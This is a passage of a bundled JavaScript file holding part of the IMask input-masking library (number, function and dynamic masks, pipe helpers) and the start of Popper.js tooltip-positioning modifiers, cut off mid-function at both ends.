	      var toPos = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : this.value.length;
	      var _this$_adjustRangeWit3 = this._adjustRangeWithSeparators(fromPos, toPos);
	      var _this$_adjustRangeWit4 = _slicedToArray(_this$_adjustRangeWit3, 2);
	      fromPos = _this$_adjustRangeWit4[0];
	      toPos = _this$_adjustRangeWit4[1];
	      var valueBeforePos = this.value.slice(0, fromPos);
	      var valueAfterPos = this.value.slice(toPos);
	      var prevBeforeTailSeparatorsCount = this._separatorsCount(valueBeforePos.length);
	      this._value = this._insertThousandsSeparators(this._removeThousandsSeparators(valueBeforePos + valueAfterPos));
	      var beforeTailSeparatorsCount = this._separatorsCountFromSlice(valueBeforePos);
	      return new ChangeDetails({
	        tailShift: (beforeTailSeparatorsCount - prevBeforeTailSeparatorsCount) * this.thousandsSeparator.length
	      });
	    }
	  }, {
	    key: "nearestInputPos",
	    value: function nearestInputPos(cursorPos, direction) {
	      if (!this.thousandsSeparator) return cursorPos;
	      switch (direction) {
	        case DIRECTION.NONE:
	        case DIRECTION.LEFT:
	        case DIRECTION.FORCE_LEFT:
	          {
	            var separatorAtLeftPos = this._findSeparatorAround(cursorPos - 1);
	            if (separatorAtLeftPos >= 0) {
	              var separatorAtLeftEndPos = separatorAtLeftPos + this.thousandsSeparator.length;
	              if (cursorPos < separatorAtLeftEndPos || this.value.length <= separatorAtLeftEndPos || direction === DIRECTION.FORCE_LEFT) {
	                return separatorAtLeftPos;
	              }
	            }
	            break;
	          }
	        case DIRECTION.RIGHT:
	        case DIRECTION.FORCE_RIGHT:
	          {
	            var separatorAtRightPos = this._findSeparatorAround(cursorPos);
	            if (separatorAtRightPos >= 0) {
	              return separatorAtRightPos + this.thousandsSeparator.length;
	            }
	          }
	      }
	      return cursorPos;
	    }
	  }, {
	    key: "doValidate",
	    value: function doValidate(flags) {
	      var regexp = flags.input ? this._numberRegExpInput : this._numberRegExp;
	      var valid = regexp.test(this._removeThousandsSeparators(this.value));
	      if (valid) {
	        var number = this.number;
	        valid = valid && !isNaN(number) && (
	        this.min == null || this.min >= 0 || this.min <= this.number) && (
	        this.max == null || this.max <= 0 || this.number <= this.max);
	      }
	      return valid && _get(_getPrototypeOf(MaskedNumber.prototype), "doValidate", this).call(this, flags);
	    }
	  }, {
	    key: "doCommit",
	    value: function doCommit() {
	      if (this.value) {
	        var number = this.number;
	        var validnum = number;
	        if (this.min != null) validnum = Math.max(validnum, this.min);
	        if (this.max != null) validnum = Math.min(validnum, this.max);
	        if (validnum !== number) this.unmaskedValue = String(validnum);
	        var formatted = this.value;
	        if (this.normalizeZeros) formatted = this._normalizeZeros(formatted);
	        if (this.padFractionalZeros && this.scale > 0) formatted = this._padFractionalZeros(formatted);
	        this._value = formatted;
	      }
	      _get(_getPrototypeOf(MaskedNumber.prototype), "doCommit", this).call(this);
	    }
	  }, {
	    key: "_normalizeZeros",
	    value: function _normalizeZeros(value) {
	      var parts = this._removeThousandsSeparators(value).split(this.radix);
	      parts[0] = parts[0].replace(/^(\D*)(0*)(\d*)/, function (match, sign, zeros, num) {
	        return sign + num;
	      });
	      if (value.length && !/\d$/.test(parts[0])) parts[0] = parts[0] + '0';
	      if (parts.length > 1) {
	        parts[1] = parts[1].replace(/0*$/, '');
	        if (!parts[1].length) parts.length = 1;
	      }
	      return this._insertThousandsSeparators(parts.join(this.radix));
	    }
	  }, {
	    key: "_padFractionalZeros",
	    value: function _padFractionalZeros(value) {
	      if (!value) return value;
	      var parts = value.split(this.radix);
	      if (parts.length < 2) parts.push('');
	      parts[1] = parts[1].padEnd(this.scale, '0');
	      return parts.join(this.radix);
	    }
	  }, {
	    key: "unmaskedValue",
	    get: function get() {
	      return this._removeThousandsSeparators(this._normalizeZeros(this.value)).replace(this.radix, '.');
	    },
	    set: function set(unmaskedValue) {
	      _set(_getPrototypeOf(MaskedNumber.prototype), "unmaskedValue", unmaskedValue.replace('.', this.radix), this, true);
	    }
	  }, {
	    key: "typedValue",
	    get: function get() {
	      return Number(this.unmaskedValue);
	    },
	    set: function set(n) {
	      _set(_getPrototypeOf(MaskedNumber.prototype), "unmaskedValue", String(n), this, true);
	    }
	  }, {
	    key: "number",
	    get: function get() {
	      return this.typedValue;
	    },
	    set: function set(number) {
	      this.typedValue = number;
	    }
	  }, {
	    key: "allowNegative",
	    get: function get() {
	      return this.signed || this.min != null && this.min < 0 || this.max != null && this.max < 0;
	    }
	  }]);
	  return MaskedNumber;
	}(Masked);
	MaskedNumber.DEFAULTS = {
	  radix: ',',
	  thousandsSeparator: '',
	  mapToRadix: ['.'],
	  scale: 2,
	  signed: false,
	  normalizeZeros: true,
	  padFractionalZeros: false
	};
	IMask.MaskedNumber = MaskedNumber;

	var MaskedFunction = function (_Masked) {
	  _inherits(MaskedFunction, _Masked);
	  var _super = _createSuper(MaskedFunction);
	  function MaskedFunction() {
	    _classCallCheck(this, MaskedFunction);
	    return _super.apply(this, arguments);
	  }
	  _createClass(MaskedFunction, [{
	    key: "_update",
	    value:
	    function _update(opts) {
	      if (opts.mask) opts.validate = opts.mask;
	      _get(_getPrototypeOf(MaskedFunction.prototype), "_update", this).call(this, opts);
	    }
	  }]);
	  return MaskedFunction;
	}(Masked);
	IMask.MaskedFunction = MaskedFunction;

	var _excluded = ["compiledMasks", "currentMaskRef", "currentMask"];
	var MaskedDynamic = function (_Masked) {
	  _inherits(MaskedDynamic, _Masked);
	  var _super = _createSuper(MaskedDynamic);
	  function MaskedDynamic(opts) {
	    var _this;
	    _classCallCheck(this, MaskedDynamic);
	    _this = _super.call(this, Object.assign({}, MaskedDynamic.DEFAULTS, opts));
	    _this.currentMask = null;
	    return _this;
	  }
	  _createClass(MaskedDynamic, [{
	    key: "_update",
	    value: function _update(opts) {
	      _get(_getPrototypeOf(MaskedDynamic.prototype), "_update", this).call(this, opts);
	      if ('mask' in opts) {
	        this.compiledMasks = Array.isArray(opts.mask) ? opts.mask.map(function (m) {
	          return createMask(m);
	        }) : [];
	      }
	    }
	  }, {
	    key: "_appendCharRaw",
	    value: function _appendCharRaw(ch) {
	      var flags = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};
	      var details = this._applyDispatch(ch, flags);
	      if (this.currentMask) {
	        details.aggregate(this.currentMask._appendChar(ch, flags));
	      }
	      return details;
	    }
	  }, {
	    key: "_applyDispatch",
	    value: function _applyDispatch() {
	      var appended = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : '';
	      var flags = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};
	      var prevValueBeforeTail = flags.tail && flags._beforeTailState != null ? flags._beforeTailState._value : this.value;
	      var inputValue = this.rawInputValue;
	      var insertValue = flags.tail && flags._beforeTailState != null ?
	      flags._beforeTailState._rawInputValue : inputValue;
	      var tailValue = inputValue.slice(insertValue.length);
	      var prevMask = this.currentMask;
	      var details = new ChangeDetails();
	      var prevMaskState = prevMask && prevMask.state;
	      this.currentMask = this.doDispatch(appended, Object.assign({}, flags));
	      if (this.currentMask) {
	        if (this.currentMask !== prevMask) {
	          this.currentMask.reset();
	          if (insertValue) {
	            var d = this.currentMask.append(insertValue, {
	              raw: true
	            });
	            details.tailShift = d.inserted.length - prevValueBeforeTail.length;
	          }
	          if (tailValue) {
	            details.tailShift += this.currentMask.append(tailValue, {
	              raw: true,
	              tail: true
	            }).tailShift;
	          }
	        } else {
	          this.currentMask.state = prevMaskState;
	        }
	      }
	      return details;
	    }
	  }, {
	    key: "_appendPlaceholder",
	    value: function _appendPlaceholder() {
	      var details = this._applyDispatch.apply(this, arguments);
	      if (this.currentMask) {
	        details.aggregate(this.currentMask._appendPlaceholder());
	      }
	      return details;
	    }
	  }, {
	    key: "_appendEager",
	    value: function _appendEager() {
	      var details = this._applyDispatch.apply(this, arguments);
	      if (this.currentMask) {
	        details.aggregate(this.currentMask._appendEager());
	      }
	      return details;
	    }
	  }, {
	    key: "doDispatch",
	    value: function doDispatch(appended) {
	      var flags = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};
	      return this.dispatch(appended, this, flags);
	    }
	  }, {
	    key: "doValidate",
	    value: function doValidate() {
	      var _get2, _this$currentMask;
	      for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
	        args[_key] = arguments[_key];
	      }
	      return (_get2 = _get(_getPrototypeOf(MaskedDynamic.prototype), "doValidate", this)).call.apply(_get2, [this].concat(args)) && (!this.currentMask || (_this$currentMask = this.currentMask).doValidate.apply(_this$currentMask, args));
	    }
	  }, {
	    key: "reset",
	    value: function reset() {
	      var _this$currentMask2;
	      (_this$currentMask2 = this.currentMask) === null || _this$currentMask2 === void 0 ? void 0 : _this$currentMask2.reset();
	      this.compiledMasks.forEach(function (m) {
	        return m.reset();
	      });
	    }
	  }, {
	    key: "value",
	    get: function get() {
	      return this.currentMask ? this.currentMask.value : '';
	    },
	    set: function set(value) {
	      _set(_getPrototypeOf(MaskedDynamic.prototype), "value", value, this, true);
	    }
	  }, {
	    key: "unmaskedValue",
	    get: function get() {
	      return this.currentMask ? this.currentMask.unmaskedValue : '';
	    },
	    set: function set(unmaskedValue) {
	      _set(_getPrototypeOf(MaskedDynamic.prototype), "unmaskedValue", unmaskedValue, this, true);
	    }
	  }, {
	    key: "typedValue",
	    get: function get() {
	      return this.currentMask ? this.currentMask.typedValue : '';
	    }
	    ,
	    set: function set(value) {
	      var unmaskedValue = String(value);
	      if (this.currentMask) {
	        this.currentMask.typedValue = value;
	        unmaskedValue = this.currentMask.unmaskedValue;
	      }
	      this.unmaskedValue = unmaskedValue;
	    }
	  }, {
	    key: "isComplete",
	    get: function get() {
	      var _this$currentMask3;
	      return Boolean((_this$currentMask3 = this.currentMask) === null || _this$currentMask3 === void 0 ? void 0 : _this$currentMask3.isComplete);
	    }
	  }, {
	    key: "isFilled",
	    get: function get() {
	      var _this$currentMask4;
	      return Boolean((_this$currentMask4 = this.currentMask) === null || _this$currentMask4 === void 0 ? void 0 : _this$currentMask4.isFilled);
	    }
	  }, {
	    key: "remove",
	    value: function remove() {
	      var details = new ChangeDetails();
	      if (this.currentMask) {
	        var _this$currentMask5;
	        details.aggregate((_this$currentMask5 = this.currentMask).remove.apply(_this$currentMask5, arguments))
	        .aggregate(this._applyDispatch());
	      }
	      return details;
	    }
	  }, {
	    key: "state",
	    get: function get() {
	      return Object.assign({}, _get(_getPrototypeOf(MaskedDynamic.prototype), "state", this), {
	        _rawInputValue: this.rawInputValue,
	        compiledMasks: this.compiledMasks.map(function (m) {
	          return m.state;
	        }),
	        currentMaskRef: this.currentMask,
	        currentMask: this.currentMask && this.currentMask.state
	      });
	    },
	    set: function set(state) {
	      var compiledMasks = state.compiledMasks,
	          currentMaskRef = state.currentMaskRef,
	          currentMask = state.currentMask,
	          maskedState = _objectWithoutProperties(state, _excluded);
	      this.compiledMasks.forEach(function (m, mi) {
	        return m.state = compiledMasks[mi];
	      });
	      if (currentMaskRef != null) {
	        this.currentMask = currentMaskRef;
	        this.currentMask.state = currentMask;
	      }
	      _set(_getPrototypeOf(MaskedDynamic.prototype), "state", maskedState, this, true);
	    }
	  }, {
	    key: "extractInput",
	    value: function extractInput() {
	      var _this$currentMask6;
	      return this.currentMask ? (_this$currentMask6 = this.currentMask).extractInput.apply(_this$currentMask6, arguments) : '';
	    }
	  }, {
	    key: "extractTail",
	    value: function extractTail() {
	      var _this$currentMask7, _get3;
	      for (var _len2 = arguments.length, args = new Array(_len2), _key2 = 0; _key2 < _len2; _key2++) {
	        args[_key2] = arguments[_key2];
	      }
	      return this.currentMask ? (_this$currentMask7 = this.currentMask).extractTail.apply(_this$currentMask7, args) : (_get3 = _get(_getPrototypeOf(MaskedDynamic.prototype), "extractTail", this)).call.apply(_get3, [this].concat(args));
	    }
	  }, {
	    key: "doCommit",
	    value: function doCommit() {
	      if (this.currentMask) this.currentMask.doCommit();
	      _get(_getPrototypeOf(MaskedDynamic.prototype), "doCommit", this).call(this);
	    }
	  }, {
	    key: "nearestInputPos",
	    value: function nearestInputPos() {
	      var _this$currentMask8, _get4;
	      for (var _len3 = arguments.length, args = new Array(_len3), _key3 = 0; _key3 < _len3; _key3++) {
	        args[_key3] = arguments[_key3];
	      }
	      return this.currentMask ? (_this$currentMask8 = this.currentMask).nearestInputPos.apply(_this$currentMask8, args) : (_get4 = _get(_getPrototypeOf(MaskedDynamic.prototype), "nearestInputPos", this)).call.apply(_get4, [this].concat(args));
	    }
	  }, {
	    key: "overwrite",
	    get: function get() {
	      return this.currentMask ? this.currentMask.overwrite : _get(_getPrototypeOf(MaskedDynamic.prototype), "overwrite", this);
	    },
	    set: function set(overwrite) {
	      console.warn('"overwrite" option is not available in dynamic mask, use this option in siblings');
	    }
	  }, {
	    key: "eager",
	    get: function get() {
	      return this.currentMask ? this.currentMask.eager : _get(_getPrototypeOf(MaskedDynamic.prototype), "eager", this);
	    },
	    set: function set(eager) {
	      console.warn('"eager" option is not available in dynamic mask, use this option in siblings');
	    }
	  }, {
	    key: "maskEquals",
	    value: function maskEquals(mask) {
	      return Array.isArray(mask) && this.compiledMasks.every(function (m, mi) {
	        var _mask$mi;
	        return m.maskEquals((_mask$mi = mask[mi]) === null || _mask$mi === void 0 ? void 0 : _mask$mi.mask);
	      });
	    }
	  }]);
	  return MaskedDynamic;
	}(Masked);
	MaskedDynamic.DEFAULTS = {
	  dispatch: function dispatch(appended, masked, flags) {
	    if (!masked.compiledMasks.length) return;
	    var inputValue = masked.rawInputValue;
	    var inputs = masked.compiledMasks.map(function (m, index) {
	      m.reset();
	      m.append(inputValue, {
	        raw: true
	      });
	      m.append(appended, flags);
	      var weight = m.rawInputValue.length;
	      return {
	        weight: weight,
	        index: index
	      };
	    });
	    inputs.sort(function (i1, i2) {
	      return i2.weight - i1.weight;
	    });
	    return masked.compiledMasks[inputs[0].index];
	  }
	};
	IMask.MaskedDynamic = MaskedDynamic;

	var PIPE_TYPE = {
	  MASKED: 'value',
	  UNMASKED: 'unmaskedValue',
	  TYPED: 'typedValue'
	};
	function createPipe(mask) {
	  var from = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : PIPE_TYPE.MASKED;
	  var to = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : PIPE_TYPE.MASKED;
	  var masked = createMask(mask);
	  return function (value) {
	    return masked.runIsolated(function (m) {
	      m[from] = value;
	      return m[to];
	    });
	  };
	}
	function pipe(value) {
	  for (var _len = arguments.length, pipeArgs = new Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) {
	    pipeArgs[_key - 1] = arguments[_key];
	  }
	  return createPipe.apply(void 0, pipeArgs)(value);
	}
	IMask.PIPE_TYPE = PIPE_TYPE;
	IMask.createPipe = createPipe;
	IMask.pipe = pipe;

	try {
	  globalThis.IMask = IMask;
	} catch (e) {}

	var maskElementList = [].slice.call(document.querySelectorAll('[data-mask]'));
	maskElementList.map(function (maskEl) {
	  return new IMask(maskEl, {
	    mask: maskEl.dataset.mask,
	    lazy: maskEl.dataset['mask-visible'] === 'true'
	  });
	});

	var top = 'top';
	var bottom = 'bottom';
	var right = 'right';
	var left = 'left';
	var auto = 'auto';
	var basePlacements = [top, bottom, right, left];
	var start = 'start';
	var end = 'end';
	var clippingParents = 'clippingParents';
	var viewport = 'viewport';
	var popper = 'popper';
	var reference = 'reference';
	var variationPlacements = basePlacements.reduce(function (acc, placement) {
	  return acc.concat([placement + "-" + start, placement + "-" + end]);
	}, []);
	var placements = [].concat(basePlacements, [auto]).reduce(function (acc, placement) {
	  return acc.concat([placement, placement + "-" + start, placement + "-" + end]);
	}, []);
	var beforeRead = 'beforeRead';
	var read = 'read';
	var afterRead = 'afterRead';
	var beforeMain = 'beforeMain';
	var main = 'main';
	var afterMain = 'afterMain';
	var beforeWrite = 'beforeWrite';
	var write = 'write';
	var afterWrite = 'afterWrite';
	var modifierPhases = [beforeRead, read, afterRead, beforeMain, main, afterMain, beforeWrite, write, afterWrite];

	function getNodeName(element) {
	  return element ? (element.nodeName || '').toLowerCase() : null;
	}

	function getWindow(node) {
	  if (node == null) {
	    return window;
	  }
	  if (node.toString() !== '[object Window]') {
	    var ownerDocument = node.ownerDocument;
	    return ownerDocument ? ownerDocument.defaultView || window : window;
	  }
	  return node;
	}

	function isElement$1(node) {
	  var OwnElement = getWindow(node).Element;
	  return node instanceof OwnElement || node instanceof Element;
	}
	function isHTMLElement(node) {
	  var OwnElement = getWindow(node).HTMLElement;
	  return node instanceof OwnElement || node instanceof HTMLElement;
	}
	function isShadowRoot(node) {
	  if (typeof ShadowRoot === 'undefined') {
	    return false;
	  }
	  var OwnElement = getWindow(node).ShadowRoot;
	  return node instanceof OwnElement || node instanceof ShadowRoot;
	}

	function applyStyles(_ref) {
	  var state = _ref.state;
	  Object.keys(state.elements).forEach(function (name) {
	    var style = state.styles[name] || {};
	    var attributes = state.attributes[name] || {};
	    var element = state.elements[name];
	    if (!isHTMLElement(element) || !getNodeName(element)) {
	      return;
	    }
	    Object.assign(element.style, style);
	    Object.keys(attributes).forEach(function (name) {
	      var value = attributes[name];
	      if (value === false) {
	        element.removeAttribute(name);
	      } else {
	        element.setAttribute(name, value === true ? '' : value);
	      }
	    });
	  });
	}
	function effect$2(_ref2) {
	  var state = _ref2.state;
	  var initialStyles = {
	    popper: {
	      position: state.options.strategy,
	      left: '0',
	      top: '0',
	      margin: '0'
	    },
	    arrow: {
	      position: 'absolute'
	    },
	    reference: {}
	  };
	  Object.assign(state.elements.popper.style, initialStyles.popper);
	  state.styles = initialStyles;
	  if (state.elements.arrow) {
	    Object.assign(state.elements.arrow.style, initialStyles.arrow);
	  }
	  return function () {
	    Object.keys(state.elements).forEach(function (name) {
	      var element = state.elements[name];
	      var attributes = state.attributes[name] || {};
	      var styleProperties = Object.keys(state.styles.hasOwnProperty(name) ? state.styles[name] : initialStyles[name]);
	      var style = styleProperties.reduce(function (style, property) {
	        style[property] = '';
	        return style;
	      }, {});
	      if (!isHTMLElement(element) || !getNodeName(element)) {
	        return;
	      }
	      Object.assign(element.style, style);
	      Object.keys(attributes).forEach(function (attribute) {
	        element.removeAttribute(attribute);
	      });
	    });
	  };
	}
	var applyStyles$1 = {
	  name: 'applyStyles',
	  enabled: true,
	  phase: 'write',
	  fn: applyStyles,
	  effect: effect$2,
	  requires: ['computeStyles']
	};

	function getBasePlacement(placement) {
	  return placement.split('-')[0];
	}

	var max = Math.max;
	var min = Math.min;
	var round = Math.round;

	function getBoundingClientRect(element, includeScale) {
	  if (includeScale === void 0) {
	    includeScale = false;
	  }
	  var rect = element.getBoundingClientRect();
	  var scaleX = 1;
	  var scaleY = 1;
	  if (isHTMLElement(element) && includeScale) {
	    var offsetHeight = element.offsetHeight;
	    var offsetWidth = element.offsetWidth;
	    if (offsetWidth > 0) {
	      scaleX = round(rect.width) / offsetWidth || 1;
	    }
	    if (offsetHeight > 0) {
	      scaleY = round(rect.height) / offsetHeight || 1;
	    }
	  }
	  return {
	    width: rect.width / scaleX,
	    height: rect.height / scaleY,
	    top: rect.top / scaleY,
	    right: rect.right / scaleX,
	    bottom: rect.bottom / scaleY,
	    left: rect.left / scaleX,
	    x: rect.left / scaleX,
	    y: rect.top / scaleY
	  };
	}

	function getLayoutRect(element) {
	  var clientRect = getBoundingClientRect(element);
	  var width = element.offsetWidth;
	  var height = element.offsetHeight;
	  if (Math.abs(clientRect.width - width) <= 1) {
	    width = clientRect.width;
	  }
	  if (Math.abs(clientRect.height - height) <= 1) {
	    height = clientRect.height;
	  }
	  return {
	    x: element.offsetLeft,
	    y: element.offsetTop,
	    width: width,
	    height: height
	  };
	}

	function contains(parent, child) {
	  var rootNode = child.getRootNode && child.getRootNode();
	  if (parent.contains(child)) {
	    return true;
	  }
	  else if (rootNode && isShadowRoot(rootNode)) {
	      var next = child;
	      do {
	        if (next && parent.isSameNode(next)) {
	          return true;
	        }
	        next = next.parentNode || next.host;
	      } while (next);
	    }
	  return false;
	}

	function getComputedStyle$1(element) {
	  return getWindow(element).getComputedStyle(element);
	}

	function isTableElement(element) {
	  return ['table', 'td', 'th'].indexOf(getNodeName(element)) >= 0;
	}

	function getDocumentElement(element) {
	  return ((isElement$1(element) ? element.ownerDocument :
	  element.document) || window.document).documentElement;
	}

	function getParentNode(element) {
	  if (getNodeName(element) === 'html') {
	    return element;
	  }
	  return (
	    element.assignedSlot ||
	    element.parentNode || (
	    isShadowRoot(element) ? element.host : null) ||
	    getDocumentElement(element)
	  );
	}

	function getTrueOffsetParent(element) {
	  if (!isHTMLElement(element) ||
	  getComputedStyle$1(element).position === 'fixed') {
	    return null;
	  }
	  return element.offsetParent;
	}
	function getContainingBlock(element) {
	  var isFirefox = navigator.userAgent.toLowerCase().indexOf('firefox') !== -1;
	  var isIE = navigator.userAgent.indexOf('Trident') !== -1;
	  if (isIE && isHTMLElement(element)) {
	    var elementCss = getComputedStyle$1(element);
	    if (elementCss.position === 'fixed') {
	      return null;
	    }
	  }
	  var currentNode = getParentNode(element);
	  while (isHTMLElement(currentNode) && ['html', 'body'].indexOf(getNodeName(currentNode)) < 0) {
	    var css = getComputedStyle$1(currentNode);
	    if (css.transform !== 'none' || css.perspective !== 'none' || css.contain === 'paint' || ['transform', 'perspective'].indexOf(css.willChange) !== -1 || isFirefox && css.willChange === 'filter' || isFirefox && css.filter && css.filter !== 'none') {
	      return currentNode;
	    } else {
	      currentNode = currentNode.parentNode;
	    }
	  }
	  return null;
	}
	function getOffsetParent(element) {
	  var window = getWindow(element);
	  var offsetParent = getTrueOffsetParent(element);
	  while (offsetParent && isTableElement(offsetParent) && getComputedStyle$1(offsetParent).position === 'static') {
	    offsetParent = getTrueOffsetParent(offsetParent);
	  }
	  if (offsetParent && (getNodeName(offsetParent) === 'html' || getNodeName(offsetParent) === 'body' && getComputedStyle$1(offsetParent).position === 'static')) {
	    return window;
	  }
	  return offsetParent || getContainingBlock(element) || window;
	}

	function getMainAxisFromPlacement(placement) {
	  return ['top', 'bottom'].indexOf(placement) >= 0 ? 'x' : 'y';
	}

	function within(min$1, value, max$1) {
	  return max(min$1, min(value, max$1));
	}
	function withinMaxClamp(min, value, max) {
	  var v = within(min, value, max);
	  return v > max ? max : v;
	}

	function getFreshSideObject() {
	  return {
	    top: 0,
	    right: 0,
	    bottom: 0,
	    left: 0
	  };
	}

	function mergePaddingObject(paddingObject) {
	  return Object.assign({}, getFreshSideObject(), paddingObject);
	}

	function expandToHashMap(value, keys) {
	  return keys.reduce(function (hashMap, key) {
	    hashMap[key] = value;
	    return hashMap;
	  }, {});
	}

	var toPaddingObject = function toPaddingObject(padding, state) {
	  padding = typeof padding === 'function' ? padding(Object.assign({}, state.rects, {
	    placement: state.placement
	  })) : padding;
	  return mergePaddingObject(typeof padding !== 'number' ? padding : expandToHashMap(padding, basePlacements));
	};
	function arrow(_ref) {
	  var _state$modifiersData$;
	  var state = _ref.state,
	      name = _ref.name,
	      options = _ref.options;
	  var arrowElement = state.elements.arrow;
	  var popperOffsets = state.modifiersData.popperOffsets;
	  var basePlacement = getBasePlacement(state.placement);
	  var axis = getMainAxisFromPlacement(basePlacement);
	  var isVertical = [left, right].indexOf(basePlacement) >= 0;
	  var len = isVertical ? 'height' : 'width';
	  if (!arrowElement || !popperOffsets) {
	    return;
	  }
	  var paddingObject = toPaddingObject(options.padding, state);
	  var arrowRect = getLayoutRect(arrowElement);
	  var minProp = axis === 'y' ? top : left;
	  var maxProp = axis === 'y' ? bottom : right;
	  var endDiff = state.rects.reference[len] + state.rects.reference[axis] - popperOffsets[axis] - state.rects.popper[len];
	  var startDiff = popperOffsets[axis] - state.rects.reference[axis];
	  var arrowOffsetParent = getOffsetParent(arrowElement);
	  var clientSize = arrowOffsetParent ? axis === 'y' ? arrowOffsetParent.clientHeight || 0 : arrowOffsetParent.clientWidth || 0 : 0;
	  var centerToReference = endDiff / 2 - startDiff / 2;
	  var min = paddingObject[minProp];
	  var max = clientSize - arrowRect[len] - paddingObject[maxProp];
	  var center = clientSize / 2 - arrowRect[len] / 2 + centerToReference;
	  var offset = within(min, center, max);
	  var axisProp = axis;
	  state.modifiersData[name] = (_state$modifiersData$ = {}, _state$modifiersData$[axisProp] = offset, _state$modifiersData$.centerOffset = offset - center, _state$modifiersData$);
	}
	function effect$1(_ref2) {
	  var state = _ref2.state,
	      options = _ref2.options;
	  var _options$element = options.element,
	      arrowElement = _options$element === void 0 ? '[data-popper-arrow]' : _options$element;
	  if (arrowElement == null) {
	    return;
	  }
	  if (typeof arrowElement === 'string') {
	    arrowElement = state.elements.popper.querySelector(arrowElement);
	    if (!arrowElement) {
	      return;
	    }
	  }
	  if (!contains(state.elements.popper, arrowElement)) {
	    return;
	  }
	  state.elements.arrow = arrowElement;
	}
	var arrow$1 = {
	  name: 'arrow',
	  enabled: true,
	  phase: 'main',
	  fn: arrow,
	  effect: effect$1,
	  requires: ['popperOffsets'],
	  requiresIfExists: ['preventOverflow']
	};

	function getVariation(placement) {
	  return placement.split('-')[1];
	}

	var unsetSides = {
	  top: 'auto',
	  right: 'auto',
	  bottom: 'auto',
	  left: 'auto'
	};
	function roundOffsetsByDPR(_ref) {
	  var x = _ref.x,
	      y = _ref.y;
	  var win = window;
	  var dpr = win.devicePixelRatio || 1;
	  return {
	    x: round(x * dpr) / dpr || 0,
	    y: round(y * dpr) / dpr || 0
	  };
	}
	function mapToStyles(_ref2) {
	  var _Object$assign2;
	  var popper = _ref2.popper,
	      popperRect = _ref2.popperRect,
	      placement = _ref2.placement,
	      variation = _ref2.variation,
	      offsets = _ref2.offsets,
	      position = _ref2.position,
	      gpuAcceleration = _ref2.gpuAcceleration,
	      adaptive = _ref2.adaptive,
	      roundOffsets = _ref2.roundOffsets,
	      isFixed = _ref2.isFixed;
	  var _offsets$x = offsets.x,
	      x = _offsets$x === void 0 ? 0 : _offsets$x,
	      _offsets$y = offsets.y,
	      y = _offsets$y === void 0 ? 0 : _offsets$y;
	  var _ref3 = typeof roundOffsets === 'function' ? roundOffsets({
	    x: x,
	    y: y
	  }) : {
	    x: x,
	    y: y
	  };
	  x = _ref3.x;
	  y = _ref3.y;
	  var hasX = offsets.hasOwnProperty('x');
	  var hasY = offsets.hasOwnProperty('y');
	  var sideX = left;
	  var sideY = top;
	  var win = window;
	  if (adaptive) {
	    var offsetParent = getOffsetParent(popper);
	    var heightProp = 'clientHeight';
	    var widthProp = 'clientWidth';
	    if (offsetParent === getWindow(popper)) {
	      offsetParent = getDocumentElement(popper);
	      if (getComputedStyle$1(offsetParent).position !== 'static' && position === 'absolute') {
	        heightProp = 'scrollHeight';
	        widthProp = 'scrollWidth';
	      }
	    }
	    offsetParent = offsetParent;
	    if (placement === top || (placement === left || placement === right) && variation === end) {
	      sideY = bottom;
	      var offsetY = isFixed && win.visualViewport ? win.visualViewport.height :
	      offsetParent[heightProp];
	      y -= offsetY - popperRect.height;
	      y *= gpuAcceleration ? 1 : -1;
	    }
	    if (placement === left || (placement === top || placement === bottom) && variation === end) {
	      sideX = right;
	      var offsetX = isFixed && win.visualViewport ? win.visualViewport.width :
	      offsetParent[widthProp];
	      x -= offsetX - popperRect.width;
	      x *= gpuAcceleration ? 1 : -1;
	    }
	  }
	  var commonStyles = Object.assign({
	    position: position
	  }, adaptive && unsetSides);
	  var _ref4 = roundOffsets === true ? roundOffsetsByDPR({
	    x: x,
	    y: y
	  }) : {
	    x: x,
	    y: y
	  };
	  x = _ref4.x;
	  y = _ref4.y;
	  if (gpuAcceleration) {
	    var _Object$assign;
	    return Object.assign({}, commonStyles, (_Object$assign = {}, _Object$assign[sideY] = hasY ? '0' : '', _Object$assign[sideX] = hasX ? '0' : '', _Object$assign.transform = (win.devicePixelRatio || 1) <= 1 ? "translate(" + x + "px, " + y + "px)" : "translate3d(" + x + "px, " + y + "px, 0)", _Object$assign));
	  }
	  return Object.assign({}, commonStyles, (_Object$assign2 = {}, _Object$assign2[sideY] = hasY ? y + "px" : '', _Object$assign2[sideX] = hasX ? x + "px" : '', _Object$assign2.transform = '', _Object$assign2));
	}
	function computeStyles(_ref5) {
	  var state = _ref5.state,
	      options = _ref5.options;
	  var _options$gpuAccelerat = options.gpuAcceleration,
	      gpuAcceleration = _options$gpuAccelerat === void 0 ? true : _options$gpuAccelerat,
	      _options$adaptive = options.adaptive,
	      adaptive = _options$adaptive === void 0 ? true : _options$adaptive,
	      _options$roundOffsets = options.roundOffsets,
	      roundOffsets = _options$roundOffsets === void 0 ? true : _options$roundOffsets;
	  var commonStyles = {
	    placement: getBasePlacement(state.placement),
	    variation: getVariation(state.placement),
	    popper: state.elements.popper,
	    popperRect: state.rects.popper,
	    gpuAcceleration: gpuAcceleration,
	    isFixed: state.options.strategy === 'fixed'
	  };
	  if (state.modifiersData.popperOffsets != null) {
	    state.styles.popper = Object.assign({}, state.styles.popper, mapToStyles(Object.assign({}, commonStyles, {
	      offsets: state.modifiersData.popperOffsets,
	      position: state.options.strategy,
	      adaptive: adaptive,
	      roundOffsets: roundOffsets
	    })));
	  }
	  if (state.modifiersData.arrow != null) {
	    state.styles.arrow = Object.assign({}, state.styles.arrow, mapToStyles(Object.assign({}, commonStyles, {
	      offsets: state.modifiersData.arrow,
	      position: 'absolute',
	      adaptive: false,
	      roundOffsets: roundOffsets
	    })));
	  }
	  state.attributes.popper = Object.assign({}, state.attributes.popper, {
	    'data-popper-placement': state.placement
	  });
	}
	var computeStyles$1 = {
	  name: 'computeStyles',
	  enabled: true,
	  phase: 'beforeWrite',
	  fn: computeStyles,
	  data: {}
	};

	var passive = {
	  passive: true
	};
	function effect(_ref) {
	  var state = _ref.state,
	      instance = _ref.instance,
	      options = _ref.options;
	  var _options$scroll = options.scroll,
